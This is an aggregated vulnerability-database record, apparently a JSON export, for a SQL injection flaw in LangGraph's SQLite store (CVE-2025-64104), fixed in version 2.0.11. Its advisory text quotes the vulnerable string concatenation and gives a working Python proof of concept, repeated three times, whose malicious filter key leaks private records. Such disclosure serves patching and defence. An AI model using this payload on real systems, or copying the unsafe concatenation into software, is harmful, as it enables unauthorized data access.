{"id":"CVE-2025-64104","aliases":["EUVD-2025-36720","GHSA-7p73-8jqx-23r8","PYSEC-2026-1529"],"status":"published","title":"LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.","severity":{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00241,"percentile":0.15385,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-89"],"published":"2025-10-29T18:55:06Z","modified":"2026-10-28T21:15:05Z","fixes":[{"ecosystem":"PyPI","package":"langgraph-checkpoint-sqlite","fixed_in":["2.0.11"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"langgraph-checkpoint-sqlite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.0.10"},{"fixed":"2.0.11"}]}]},{"source":"osv","ecosystem":"PyPI","package":"langgraph-checkpoint-sqlite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.11"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","2.0.0","2.0.1","2.0.10","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9"]},{"source":"osv","ecosystem":"PyPI","package":"langgraph-checkpoint-sqlite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.11"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","2.0.0","2.0.1","2.0.10","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9"]}],"products":[{"vendor":"langchain-ai","product":"langgraph"}],"references":[{"url":"https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64104","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/langgraph-checkpoint-sqlite/PYSEC-2026-1529.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-7p73-8jqx-23r8","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/64xxx/CVE-2025-64104.json","tags":["advisory"]},{"url":"https://github.com/langchain-ai/langgraph","tags":["package"]},{"url":"https://pypi.org/project/langgraph-checkpoint-sqlite","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-64104","title":"LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.","status":"published","published":"2025-10-29T18:55:06.129Z","modified":"2025-10-30T15:33:07.541Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:32:46.750177Z"}],"euvd":[{"id":"EUVD-2025-36720","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.","status":"published","published":"2025-10-29T18:55:06Z","modified":"2025-10-30T15:33:07Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T19:49:35.853861Z"}],"ghsa":[{"id":"GHSA-7p73-8jqx-23r8","title":"LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore","description":"### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, '$.\"\n      + key  # \u003c-- Directly concatenated, no escaping!\n      + \"') = '\"\n      + value.replace(\"'\", \"''\")  # \u003c-- Only value is escaped\n      + \"'\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access') = 'public' OR '1'='1' OR json_extract(value, '$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```","status":"published","published":"2025-10-29T22:21:43Z","modified":"2026-10-28T21:08:45Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:41:39.926569Z"}],"nvd":[{"id":"CVE-2025-64104","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.","status":"published","published":"2025-10-29T19:15:39.22Z","modified":"2026-10-08T11:10:00.25Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:11:41.607433Z"}],"osv":[{"id":"CVE-2025-64104","title":"LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore","description":"LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). Prior to 2.0.11, LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. This vulnerability is fixed in 2.0.11.","status":"published","published":"2025-10-29T18:55:06.129Z","modified":"2026-10-28T02:31:09.532301583Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:44:51.851511Z"},{"id":"GHSA-7p73-8jqx-23r8","title":"LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore","description":"### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, '$.\"\n      + key  # \u003c-- Directly concatenated, no escaping!\n      + \"') = '\"\n      + value.replace(\"'\", \"''\")  # \u003c-- Only value is escaped\n      + \"'\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access') = 'public' OR '1'='1' OR json_extract(value, '$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```","status":"published","published":"2025-10-29T22:21:43Z","modified":"2026-10-28T21:15:05.702101965Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:41.349637Z"},{"id":"PYSEC-2026-1529","title":"LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore","description":"### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, '$.\"\n      + key  # \u003c-- Directly concatenated, no escaping!\n      + \"') = '\"\n      + value.replace(\"'\", \"''\")  # \u003c-- Only value is escaped\n      + \"'\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access') = 'public' OR '1'='1' OR json_extract(value, '$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```","status":"published","published":"2026-07-07T16:03:08.92981Z","modified":"2026-07-07T17:46:36.751836071Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}